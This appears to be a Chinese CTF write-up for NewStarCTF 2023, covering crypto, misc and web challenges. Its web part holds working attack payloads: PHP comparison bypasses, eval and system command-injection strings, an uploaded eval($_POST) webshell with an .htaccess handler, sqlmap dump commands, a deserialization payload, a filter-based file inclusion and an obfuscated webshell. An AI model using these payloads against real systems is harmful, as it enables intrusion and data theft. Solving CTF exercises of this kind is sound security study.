Week1 Crypto brainfuck 附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++. a=input ()def brainfuck (a ): li = [0 ] index = 0 kuo = [] output = [] i = 0 while i < len (a): if a[i] == '+' or a[i] == '-' : li[index] = eval (str (li[index]) + a[i] + '1' ) elif a[i] == '>' : index += 1 if len (li) <= index: li.append(0 ) elif a[i] == '<' : index -= 1 elif a[i] == '.' : print (li[index], end=' ' ) output.append(li[index]) elif a[i] == ',' : i += 1 li[index] = ord (a[i]) elif a[i] == '[' : if li[index] == 0 : while a[i] != ']' : i += 1 i += 1 else : kuo.append(i) elif a[i] == ']' : if li[index] != 0 : i = kuo.pop()-1 else : temp = kuo.pop() i += 1 return output output = brainfuck(a)for i in output: print (chr (i), end='' ) flag{Oiiaioooooiai
Caesar’s Secert 1 2 kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed} flag{ca3s4r's_c1pher_i5_v4ry_3azy}
Fence 1 2 fa{ereigtepanet6680}lgrodrn_h_litx#8fc3 flag{reordering_the_plaintext#686f8c03}
Vigenère 1 pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}
大厨一个个试过去对应pqc
->fla
1 flag{la_c1 fr4 _del_5 ign0 r_giovan_batt1 st4 _b3 ll5 s0 }
babyencoding 1 2 3 4 5 6 7 part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ= part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY= part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T` part 1 base64 :flag{dazzling_encoding#4e0ad4 part 2 base32:f0ca08d1e1d0f10c0c7afe422fea7 part 3 uuencode:c55192c992036ef623372601ff3a}
convert_uudecode
函数解密
1 2 3 4 <?php $str = "=8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`" ;echo convert_undecode ($str );?>
flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
Misc CyberChef’s Secret 1 2 来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-) M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=
大厨flag{Base_15_S0_Easy_^_^}
机密图片
小宝最近学会了隐写术,并且在图片中藏了一些秘密,你能发现他的秘密吗?
steg,RGB000
flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}
流量!鲨鱼! 导出对象http
一个个找
1 2 Wm14 aFozdFhjbWt6 TldnMGNtdGZNWE5 mZFRVelpuVnNYMkkzTW1 FMk1 EazFNemRsTm4 wSwo= flag{Wri35 h4 rk_1 s_u53 ful_b72 a609537 e6 }
压缩包们 拖进去发现是一个zip
,提取出来
发现是加密的,经过尝试不是伪加密
,发现
SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==
解密说要6位数字密码
爆破密码232311
1 flag {y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}
空白格 Whitelips the Esoteric Language IDE
隐秘的眼睛 silenteye
Web 泄漏的秘密
粗心的网站管理员总会泄漏一些敏感信息在Web根目录下
使用dirmap
扫描,得到www.zip
下载得到index.php和robots.txt
1 2 3 4 5 6 7 robots.txt: PART ONE: flag{r0bots_1s_s0_us3ful index.php:<?php $PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}" ;echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>"
Begin of Upload
普通的上传啦,平平淡淡才是真
抓包,1.jpg改成1.php
蚁剑连接
ErrorFlask 页面提示
give me number1 and number2,i will help you to add
回显 not ssti,flag in source code~3
Begin of HTTP 请使用 GET方式 来给 ctf 参数传入任意值来通过这关
很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢?如果你传入的参数值并不是我想要的secret,我也不会放你过关的或许你可以找一找我把secret藏在了哪里
检查源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) n3wst4rCTF2023g00000d secret=n3wst4rCTF2023g00000d 很强,现在我需要验证你的 power 是否是ctfer 只有ctfer可以通过这关Cookie: power=ctfer 使用 NewStarCTF2023浏览器 来通过这关!User-Agent: NewStarCTF2023 Referer: newstarctf.com 本地用户X-Real-IP:127.0.0.1
flag{73830fa0-1fe2-4beb-9d6b-9e5025480203}
Begin of PHP PHP是世界上最安全的语言,真的吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['key1' ]) && isset ($_GET ['key2' ])){ echo "=Level 1=<br>" ; if ($_GET ['key1' ] !== $_GET ['key2' ] && md5 ($_GET ['key1' ]) == md5 ($_GET ['key2' ])){ $flag1 = True; }else { die ("nope,this is level 1" ); } }if ($flag1 ){ echo "=Level 2=<br>" ; if (isset ($_POST ['key3' ])){ if (md5 ($_POST ['key3' ]) === sha1 ($_POST ['key3' ])){ $flag2 = True; } }else { die ("nope,this is level 2" ); } }if ($flag2 ){ echo "=Level 3=<br>" ; if (isset ($_GET ['key4' ])){ if (strcmp ($_GET ['key4' ],file_get_contents ("/flag" )) == 0 ){ $flag3 = True; }else { die ("nope,this is level 3" ); } } }if ($flag3 ){ echo "=Level 4=<br>" ; if (isset ($_GET ['key5' ])){ if (!is_numeric ($_GET ['key5' ]) && $_GET ['key5' ] > 2023 ){ $flag4 = True; }else { die ("nope,this is level 4" ); } } }if ($flag4 ){ echo "=Level 5=<br>" ; extract ($_POST ); foreach ($_POST as $var ){ if (preg_match ("/[a-zA-Z0-9]/" ,$var )){ die ("nope,this is level 5" ); } } if ($flag5 ){ echo file_get_contents ("/flag" ); }else { die ("nope,this is level 5" ); } }
数组绕过强比较POST:payload:key3[]=1
strcmp($_GET['key4'],file_get_contents("/flag")) == 0
中file_get_contents("/flag")
的值是字符串
这里strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。
payload:key4[]=1
1 !is_numeric ($_GET['key5' ] ) && $_GET['key5' ] > 2023
is_numeric
函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
payload:key5=2024%00
要求键值即=
后面的值不是字母、数字
完整payload:
GET:?key1=s878926199a&key2=s155964671a&key4[]=1&key5=2024%00
POST:key3[]=*&flag5=*
R!C!E! 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (isset ($_POST ['password' ])&&isset ($_POST ['e_v.a.l' ])){ $password =md5 ($_POST ['password' ]); $code =$_POST ['e_v.a.l' ]; if (substr ($password ,0 ,6 )==="c4d038" ){ if (!preg_match ("/flag|system|pass|cat|ls/i" ,$code )){ eval ($code ); } } }
1 password =evcxdcczxrbdw&e[v.a.l =echo `tac /fl??`;
tac换成sort也行
EasyLogin 注册登录进去是一个chat对话框
没用
ctrl+d
退出对话框,翻遍Linux
啥都没
按方向上键查询历史记录,得到密码是弱密码
试出来密码是000000
再登陆终端,提示试用burp
admin
登录抓包
发现/passport
的302跳转
Week2 Web 游戏高手 打开发现要玩游戏超过十万分
搜索alter
,发现没有flag
查看app.js
,把分数改成10
抓包
score
修改大于100000,得到flag
include O。O 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );$file = $_GET ['file' ];if (isset ($file ) && !preg_match ('/base|rot/i' ,$file )){ @include ($file ); }else { die ("nope" ); }?>
猜测题目对flag进行了base/rot
过滤
payload:?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
1 flag {80 aa7b2f-6 f0e-46 bb-8233 -3046 e5a8a11a}
ez_sql sqlmap一把梭
1 2 3 4 5 python sqlmap.py -u "url?id=TMP0919" --dbs --batch python sqlmap.py -u "url/?id=TMP0919" -D ctf --tables --batch python sqlmap.py -u "url/?id=TMP0919" -D ctf -T here_is_flag --columns --batch python sqlmap.py -u "url/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump --batch flag{a08ce636-0 f3d-49 f9-a6ef-be72d058bec2}
Unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]);?>
使用POST
提交unser
,进行反序列化,cmd的值不含cat、tac、more、tail、base
的大小写变形,就执行system($this->cmd)
命令
先ls /
payload:unser=O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}
回显中有 th1s_1s_fffflllll4444aaaggggg
1 2 unser =O:4 :"evil" :1 :{s:3 :"cmd" ;s:35 :"sort /th1s_1s_fffflllll4444aaaggggg" ;}flag {d2195283-49 ad-403 d-9 ec7-fbf8d9440fa1}
Upload again! .htaccess
解析
1 2 3 <FilesMatch "3.png"> SetHandler application/x-httpd-php </FilesMatch>
然后上传3.png
内容是
1 <script language="php">eval($_POST['password']);</script>
蚁剑连接即可
1 flag {76577 f9b-fda7-4362 -a0f2-0 a21e9f6c435}
R!!C!!E!! dirmap扫描发现
/.git/config
、index.php
、index.php/login
发现后面两个没用
githacker
扫描一下
bo0g1pop.php
内容:
1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['star' ])) { if (!preg_match ('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i' ,$_GET ['star' ])){ eval ($_GET ['star' ]); } }
PHP的无参数RCE - 先知社区 (aliyun.com)
参考这篇博客
getallheaders() 在最后加的话用bp打好像并不是最后一个,试了好多种别的办法无果,但是 next() 后是ua头,直接改ua
利用 payload: system(next(getallheaders()));
在根目录下有flag
Misc 永不消逝的电波 在线morse解密
1-序章 给了一个SQL盲注的日志,注入正确后会进入下一位的注入,例如
1 172.17 .0 .1 - - [20 / Aug/ 2023 :00 :08 :44 + 0800 ] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"172.17 .0 .1 - - [20 / Aug/ 2023 :00 :08 :47 + 0800 ] "GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)--+&totalPrice=0 HTTP/1.1" 500 353 "-" "python-requests/2.28.2"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import reimport urllib f = open ('access.log' ,'r' ) lines = f.readlines() datas = []for line in lines: t = urllib.unquote(line) datas.append(t) flag_ascii = {} for data in datas: matchObj = re.search( r'user\),(.*?),1\)\)=(.*?),sleep' , data) if matchObj: key = int (matchObj.group(1 )) value = int (matchObj.group(2 )) flag_ascii[key] = value flag = '' for value in flag_ascii.values(): flag += chr (value) print flag
新建Word文档 新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑
搜索在线解密
flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}
base! 给了一个base.txt
里面是好多行的base64
猜测是base64隐写
iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8
base58解得
flag{b4se_1s_4_g0od_c0d3}
jvav java盲水印
https://github.com/ww23/BlindWatermark
java -jar BlindWatermark-v0.0.3.jar decode -c challenge.png 1.png
WebShell的利用 1 2 3 4 5 6 7 8 9 10 11 <?php $shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('WjxTUkE+Mk5TOUk1Pzk2KVQsMyxVPCYpTjo3KVI5SF1VOiclRTwmKUQ8T05TOUk1Pzk2KVQsMyxVO0lMUwpaPFA4RzdKJUU8JilEPE9AVDJUPVgxR05LNE9aOj4jNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0LTAzJi0nClo9SShGNiRSNi00OTMsNFIiPVQhTDE0PVc+Uk4oMSNOJywjNScwUU5LLDQtWj4jKTgyNDFTNlNEWDI0KEMKWj41Vig6Uy1BMEgtLi0kNVo8NU43MiRASzVKOUw0US0yLjRMKTQ1PSgwR1JHOkc0Qy01UiE0UFJBMFQ8RwpaPUclJjwmVigyIzU5NjUlJDlHVkotJz04MUoxWTA1JTMxRyVMMDUpKjQ1OEM2ND0uOzU9SSwmJTA+NihMCloxUTlINSQlSTE0OSE9UGBDMFE9OjlRJTM1VDkjMjQxSDFIJTIsJC0pPCJaKD4jMU82UTkhMFI9WTpUPSEKWjFUIVcyJEBINjVSMTEmPSo9RjFKNiQ9RzskJTE0Rz0hPjQlMjJSJTYsJU4yNlJOKj1GMEQyNzlHLVFOWQpaLDRdOjRUMVQ2NzhDPiQlKThQTiEyIzBGNlQ5JTNROVoyNU4iMiZVQzIkOEM7JVJKMTVWODFHMEQwRzlHClo6UTRENUg1Ij4nYEMxJkNDLDROSTRQISg0SD0vNlItJC4kNVc4SUwjMichTDVKPVc+UVJJPSZENjs0QEgKWjA3PSg+NT0xPjU1KT4mKVQ1SUdDLSVWKDhTWioxR0tENUc9OjpHNVkyNVY6NDROUDYnPSQsNCkyNlApIQpaNDMhVTBTSCguNDkmOlRWNzFHS1gwNzlINlIhTDhTWigxSlI2MDQ5JD40OSc0UCEiMVIoTDIlMS80NVYzClo0UFIiPUpSJTVHPTosNFIxPic9Oj1HMVgxUiUzNVI9JzVTOTc0IyFQMEghNztSTjEtJz06MiNARTIkPUsKWj01VjM1UFIqMUktKDBHOTI2JFZKNEdONjI3IVk1SCkvNVElSjI0OToxSClNMEc5Ty40NUo0SE4hPVEwTApaMTZIUz4lPSc0UCElOzMhSDBKPSQ+NVZKNUc5NzFHRFM1R0BHOyQlTDVHKTg9RiU0NlIpJDskJVo+NTU5CloyNS0iMlExUDtSUjExNyUiPUc1KDZRUiQsUSVaPTUlIz1RMUw2JD1IMSQ9STRTRDY7NF00MDdSJC01PScKWjA0NSIyNilZMDRARz1SVkkzNFIkOzU5SzBSKTotSD0pNUhOOjFHUiowUiUzNTVWMjEmViU7N1I1NCdSTwpaLVFOJzE1KSEyJzBENVQ8Rzg0RDI2U1o3PiQlMTY1JSUwUTknMTQxNjFUMEMxUiRDOjQlTDVTPTc0IzFLClowNFJDLSQ5KDpUPTo9VCFIMUglKTYkLSk8IlooMjU9NzBHOS00USVKOVAhJDRUMTgyVD0uLEctJj0iWiEKWjFGIVgwSj0oLDVOJy0nVjgyNDBEMVFORDQ1UiYyNFY4NDc1JzJUOU86RzRDOUgpITInYEwwVD1QNTQlKQpaPiZEITI0Q0kwNSUlMFFOMTMmJSMxUTFTMDUhSzskJUwzUy02MSYtQTA1JTo9NFInM0c9JjQnMVUwNSVLClo+USlMMTRWITs1LTUxUCVHOlElWj41OSE+NTlIMUglSDFHVkk9JlomPjU4RTZSJSQtNT0xLSMhIjFUYEMKWjIlITI9UlYpNVMpJzQ1OUw2UThLLCQlKTMmSDA+NihDMiUtNj1RLSg4Rzk3MUdSNTBHPU85USUzNVNaIwpaPVRgTDBUPEQ1NVYpPSZaKD1RTlowNFI2LjU9WjI0PSIxSmBDNVNEMzElVjI9JzUhOzY9JjFKPTI5SD1aClosIzk6PVElLjE0PTY+JC0oOVJOKj1GYEQyNz06LDROMzVTMToyJ05UNiUlLzU0KSc1UCk3NEdIODA1KUQKWjBRJUo1UC02MjdARDFSIUs6NCUpNFRSJj1IOEMwUT1POkc5MD40JTo0VGBIMUlDRywkJSg4UCEmNFAxSApaMEdSMjpRPS44SUw6MUdINjImR0c+NC0mPCMhKDQlKUwwU0g6PTQ5MTNITiMxUTBYMDRSLTYkJSg8IzUhClo7NS01MTUtOiw0NEMzSDUiOyQxTDFIJSk1NU4nPSNSJT1RQEMwN1I2OEg9MTlUTjcyNihYMDQ9KC01IUwKWjhTRCExUCFJNlRSMjpHTjE5RzkoPUgpWDA2RCg9US0oPCMlODQ0SCUyJzkkOVFOJjI2TCMxR05MNVNHRApaMTVWKDpQKTc0MyU2NlE5JC40OScxND0lNDRDSjA1LEMsJVYxPDQ5NzQjYEQwRzlDNiRWSjNQISExUjlZClowNzlMMzVWMTE0TCU7MyUmMjdOSzs0JTM1VE4iOzRASDFTSC8xUk4nOFM9JjQzIVAwNE5IMFEpSjRINSgKWj1TKVcyJzkoOzQlJzI0Vjo9SClNMjc5KC1HJEQ1UCUhNCclJjFJVlA7UlIpNEcpNzs1KEQ2JDkyOyU9WgpaM0gpITI0MEsxNkhHLCQ1MTVQKSgsNihGMEo5JD41ViczIyU3MVFOVzIkPUs4NVYnMSZaIT1ILSg2Uik6Clo6R05JMTUlIj1HMUwxSCUpMUctJzwjITY7NS05NCdSTzpRJTM1SCU5MVEwSDYlJVAyJC0nOFBSKTQlLTYKWjZRTkc+NU4nMydOOTFUQEs1VFJPOFJWSjIjUiE7NF01MFE4QywkTiYyNU4iMjRMSDVIJSUyJVYnPSZEKQpaNDMhVTY1KUM5SD1KLCc5Kj1SKTgyVD0zNSU5KT0mViY9RiFPNjUlKTBSPVksJiUpPUoxWTA1JS80UlYpClo0RyklNDQwRDInOSw7JCUzMyMxITQ3YEQ1SUg3MiQpKC4jOSU7NDUxMFFORzhIOSc1UyUsNFNWVzI1JEQKWjEkJScxJ1I4MSYtQTBKOS00UjknNVAhJCwnTlcwNDkoPjVWMzRHKToxSFZNNUc5OjpHTic0Rz06NDROSApaMVNIUz4lPSg6U0goOyNgRTZROSw5RzEnM1AlNzFJKEwwNS02ODVVQzwjUjc9RzFONlFSKDpRJSYyNVIwClo+NihYMiQ5TDZSVicxNFY2MUk4RDY0PSg6R04wMjU1Ij41KUwyVDxHLDQpJjRPWiExSlI2NlFORz40OTEKWjRINSk+J0BMNUpSTz5RLUoyIzElMUdIJjVHOSQ5RyUnLCZaOTFSVkg1VD0zMiREMjZSTio9SDlMNVE9NgpaLjROTDMmLSEyNVZQNUlIJCw0KSg6UCkoMUo1OTY1ISQ+NU4nNlRWJjQ0S1gwNzlINDVWSTImPSE9RiUlClo2NDlHLSQ1Wj4jLToyJyUmMDQ9LzU0LSguIzUoMVFOWjA0UiE7UjlXOElMIzI0NUcxSCUvMiQtMjEjJSEKWjI0RFAwRzktO1JOMSw0NSc+NilXMDUtNixSUkoyI1IqPUg4QzBHOTY6RzlNM0glITI0JTI2U0gyPjRSSgpaNVBSNzs0TkgwU0gsLjU9SjRITiMxSDhIMVIkRDtSIUw4Uzk2OzdASTBHUjI+NVJKNFAhIzFHQ1g1SGBDClo4USkpNUcpOD1GJTQzJSkkOyQlWiwjOTk0NDUiNlNIKTFIVic4U0Q3LCM1KDA3OSg+NVJaMiMhODFUYEQKWjIlIUssRyUyPDU5IjQ0S0Q2JE4kNiRWSjNHNTcyJihEMiVgQyxSVko8NEwlNDUtJjVRTlMtUSUwMiYtIQpaNEc1JjVKPEQ1USkyNlNWKDFGJSMwVE5DLTVWMS0jITcxSShDMjUxLzVSVig+NSUlOyZWSzVHOUctJE4wClo0VFYhNEdMWDFRTFA7UlYyPDQ5Oj1JLSUwRzhHLSQ5KDpQOToyJyU2MDc9Nj5RNEM8IlohNCMhTTBIIToKWj01TjExJ1I4MiZWVzIjIUctUS0nMSM1OjFHJTYxSjk6OkdOJzNHRDo0NDUmNjQ9LD4lPSY9I042OzROSApaNCdSTy1HJSYsIyU6MUdOVDBUOVcsJCUyNlNIJjQ0TkkwU0QkOkc9MTRIOTcxVEBEMDRARzg0LSYwNDk3CloxRiUlMSUpOjpRJEQ1UCkiNFQwTDZRPUwyJD1KPCZEIT1UNSw2UiUkLjVOMCwjJTYyJlY4MlQ9SDFHNTAKWjRTWig0JS03MDdSJTFSVko4SDUnPUgoSDE2SEs4US0oPSYtKjQ0S0UxNSFHLjROJiwmKSM0JVZMMFIlJApaLCQ5MDImRDc7N05LMFFSMzBSPUo1UCknNCVWWDEzYEg2USUpMDU1JTNTLUE2UT0pMlJOMThHMTgxSmBDClo2U0QoLFElTDRQNTc0IzBDMFE5QzpHJTEsJ1IhNDQ1MTFUPS4sNVIyNlM5NzI0RFgwSCUkLTQlWjEnPSwKWjRRMVcxNkhMNDQlSTE0ViY9RyUkNVE5MjpHTko+NEgwPjYpVzA2SEw2UlZaMjRWOjFIKEMxSCEoLUhWWQpaMidWOj1KJSIxU0hTLCU9JzZQJSk0UDFJMFNIJTNROTE0Rz0mNCNOWDInQEc4NCkzNlBSNz1HMVo1UVIuClo6USUyLTU5OjRIKVAxVD0lNVElJj0lTio9RiUnNiRSQzslPVo+JikiOzQxTDVJSDYsJFJKOFBSJjQnUiEKWjZUPUMtNU4wLDU1NzRRMEQyJSEoPTQlMDwnUjc9SC03MjdSLi1HTkw1Uy0hNFQhUDA2SFMsNU4yMSMpNwpaNDdOWTBTRCguNFZHOElMOiwnMVA1UT02LCVWMjlTWiE+JzU1NjUhJCw1VicyNDE4MVQxUzA3OUg1JVYyClo4UDU3NDMwRDI3OUM7NTlZMiMtOjI1LSIyNkg2PiQtKDlQMSEyNERONlE5LTtSOScsNTk5MVQwRTInOUsKWi1SIUw4UDklLCM1NzZRPSg+NTlKLDU1OjImVlgxUiEoOEhWKDwmPTc7NlZKNVE9LC1HJSYsIzUhNCclJgpaMUlIUDE1PSc2UCUmNCRASDZRUjI6UTkxMydSNzI0TFk1SGBDODQpMzNHOTgxRzFMNjQ9LDYkVkozNDUnClo+J2BYMDRARzg1Vlk8NCkiMUgtKDElKVMsNFIzNUctIjRIPSoxVD02PUdOSTRQPSE0RmBENlItMi0kMVkKWjpUTic9UURZMDRARz1SVkoxNVYmNDRSNjVHOSg7JT0pMyYlIzFRSDI2JDFQO1ElMTZUNSkxR0NENiROOgpaLTQ5MSw1Tjk0J2BINic8RDFSTic9JkQpNDMhWjA0OSgtNU4nLCdWKT1RQ0wxNzkzMEclSjInUjgxR10mClowR1JLOVI9STImLSMyJilYMlE9Liw1PSYuIyEoPjREUDQnUk8sJDVZPidSITQ0MVcxNSU2ODQpJjpQPTcKWjQkTlo2U0Q6Okg5JzEjLSw0UTBEMVFORyxIVkkxJi04NCMxSjBROSgtRyUxMiZaOjRILSIxNkhINVEpJgpaPCMlKDskTlMwNS0hMlFSWjVQJTc0UTE4MlQ9Mj4lPSY8Jlo3LDU4RzZROSw5RzEnM0hOIjFQYEMyJz1LClo4NCUpM1Q1NzQmVk4xSlJDOlElMT4mKSM9R1IqNlNIJTU1Tic4U1omNEdIITA0TkMtNClKOEg1Jz1UYEMKWjE2R0MtUSUxMTQpJjNTLUE2UVIhNVFOWi0nUiMxVDBJMiMhRzhRKVkwNzElMUdIJTBROVctNDVaNFMlOgpaLDRMTDA2SDM1SE4yOlNWITFQYEUwUiUpMjQxWjpUPSg9SmBMMTZIMzBRJUw0Rzk4NDYtJTVHOSw7JCUpClo1U1YwPjYoWDA3OUgzJVZJMSM1JzQ0SCYyNzlDOkclMzMjKToyJ0BHMTUlLCwkLSY9IzklLCMxVzZUPSgKWiw1OUotIyU4MiZWWTI1JVg1NVIxMSYtNz1HNSMyVDkyOkc5TDVQKSE+NS0iMTZHRywkKSc0Uk4qPUc1NgpaMDQ5SypIPEMzSFYhMiYtJjFJR0gxNVIoOFNENjs1KUw2UU5ENVI9SjI1NSIxUTBIMTZEKDg1UjAzNkwiCloxSC0mMjdORyw0UjEsJkg6PVE1MjZUPS0xUT1JOFBSJjQ3UjowNFIyLjQlRzhJTDk9RzUiMUglOj5SUiYKWjRTRCEyNEgkMDROTDVSPTA6UCE4MVQwSTIlIUs4UlYoOFAlIjFHQ0Q1UTkkKkclKC0mJSE+NDUqNUo9JApaLCQ4RD0mViE7N1I2MDUlKTJROSc1VFYjMVIoTDE3OSg+NSFMOFApITQ3UjU2NDkkLDRWSi0nPTkxSSlZClo1SUQoPlJWMTEjUjk7NEBDNjQ5RzolOVoyJik6MjUtIjJUPS4sJE5JNFA9KD1KUiswUilMNlI5WjVQISEKWjInIVgxUiEoOjVWSTEmPTo9SClKNUc5MjYkVko1UCElNEdMVzE2SEs5RyhENUcpOjFTVUMwNDlDKkclSQpaPjRaOjQ0TlQwNzlYMVFOSzhTRDYsNTlRMEdORy0kMVozSDUiMUdDSTE2SEwwNVVDPSdSNjFIOEM1Rz02ClosUUBDPSZEIz1HNSYxVDFQO1ElKTNHOSE7NjhDMUpORzpRQEM9Jjk5PUdATDFUPSU1UT1JNlNaJjQ3NTYKWjZRUjY+JDUxOUc5NjImVUcyJkhLLFEpWjw0TCYxR101Mic9NipHJSk1SE4hNEdMSDVTSDM1NDBEPSMlJgpaNSRdMTQnUk8tJE4mPiYtITInIVAwUiRENSU9JzEmSDcxVE5LMFNEJD40Vkk6VD0iMUpAQzA1JSg9USVMClowNTk4MUgtNjI3OUMtJEBDMSMtOTQlVUQ2JSUuLEcpJj0iWiEyNT1BNlQ5Oj00KTE0R04sNFExODJUPTYKWj41OSg5UzklOyROWTBIJSgtNTlKMSMhJiwkMEU1SChHPiQlSTE0ViY9RyU1MDQ9QzslPUk9NSk6PVFSRwpaMSZEWDFRUks4UE4hNFNWTDA1JSg5SD1KMjQ1Jz41VlQyJDkoOlJWSTMmPTYxJi1BMDUpQyw1PUoyNU4jClo0UTBEMiQ5SzskJUwwNFY4NDUtNDVHOTo6UVIyLTUlOTFHUio2UThDPUg5JzwmWiYxVDUxNlQ9KDpIUloKWjI0OSk9VDBYMDQ5KD40KVkzNFYmOzRSNTBRTkM5SD0yLSZWMD42KEMyNS0sPTQlMjw1Vio0NS0lMUgtLgpaLUdOTDMmRCM0NDBIMFQ8RDVIUiYyJlYlOzc1NTY0OSQtNU4xOEcxIjFJKVk1SUQoLFJWMTwjUiE9RjUlClowNSk6LiU5TDhUNSE0JVZIMUc9LzVSOSc4Uk4qPUZgRDFKPTI6SDxENVAxOj1RSCoyNkg2PUg5KDwmPSgKWjFQIU42UTk6LDQpSjRINTcxR0RYMVQ9Sy1RKUs8NCk3OzQlNTE1JU8sJCUxMidWIT1HMEw2NSRHPjQtJgpaMyNSNiwjMEUwU0glMFE5LjhJTCE0JyUmMUlDRDU1PSYzJjk2OyRASTZRTkQwUVIxM0dOIjI3IVM1SCEoClo7JCVMMDU5Nz1HMEMxSk5LOlFAQzEnTiI+J2BMNlE9JTVRKSc8JlopNFFdMjZSJSUzUTVaPSMhOTFRRFcKWjA1JUssSCFMOFNaJT1RTkw2UTkoOEcpSjhHNTc0UTBEMiUhSz1RJTMxJlYnNDRIJTBHTlc7JT0xLDVOIwpaNCRIMjVRPEQyJCUmOlApKD1RTks2Nz0pMFJWMDpUPTcxR0RZNUpSLC0lVkwxI1ImNDUtNTA0PS42JFZKCloxND0qPVQwQzVHOEMsSFYxPDQ5NzFILSYyN05PLSQ5MTImJSMyJzFPMVIlMixROTI5UDEoMVAhTzBHOSwKWjlITkoxIyEmLCROWDA0OTM1NVJKMTQpNz1TVk02JDk6LCU9KTM1Vjo0SDlMNUdMUDtSUjAxIzU6NDU5TQpaMTUlQy1HJEMtNVI6NEgtJjZTSC8xUS0oOFAlKDQnTk4wNSEpMlFWMTRTSCw0VDBFMiQ5KDhIVjEyIyU3CloxRyUnNjROMixRTicsJi06PjU9IjZRPUg1NVYnPSZaJj5RXTE0J1JPLFFAQzEmKTk0SClMMUglJTEkJScKWjwjITY7NF0xNlItMi00MVo4SDU3MUgpUzVGJTY9NCUxMSMlOjFILSgwRzhHOVElKTVTRCE+NVVIMDZINgpaLCQ1Mz0mViY0JE5LNjQ9JD40Vko0UyUjMVNWODJUPSUxNVYpPCZaIT4nNTowNSUkPjQ5JzRQISk9UUNMCloxNkQoPiQlKTRQNTo9SS01MUpOTypHJTI9JlYjPUdEUDI2SC4sUTkyOlApKD40SEE2VD0lMlEpSjRIOTgKWjRSVlgxUiEyOFJSKD00VioxJi1BNlQ5RDJRKUosNU43MVI5WDIjIUgxSFIwMiNSNzs0SCQ1RzlLLCROMQpaNEg9OjRHJTY1Rz0hMTQpJzRQISU7MyFNMDUhITBRVjE1UyUkNFRgRzA1IUs7NCVMM0c5ITszJTU2UVJPClosNE4pNVNOMD42KEkyJDkoOyVSJzIjNSI9RzU2NiRSLjpHUjEsJ1IhMjUpTDVKPEM+ND1JOFBSJT1RTk4KWjA3OSUxUTFaOVRSIzI2KFg1SjlLPVEpWjEmWic0NFI3MVIlLDlSPTM1SE4iNEddJjVKPSQ4NE5JNFJOKgpaPUdIKDBHTjo5RyUoLSZWOTQ0QEQwNkglMTVWMj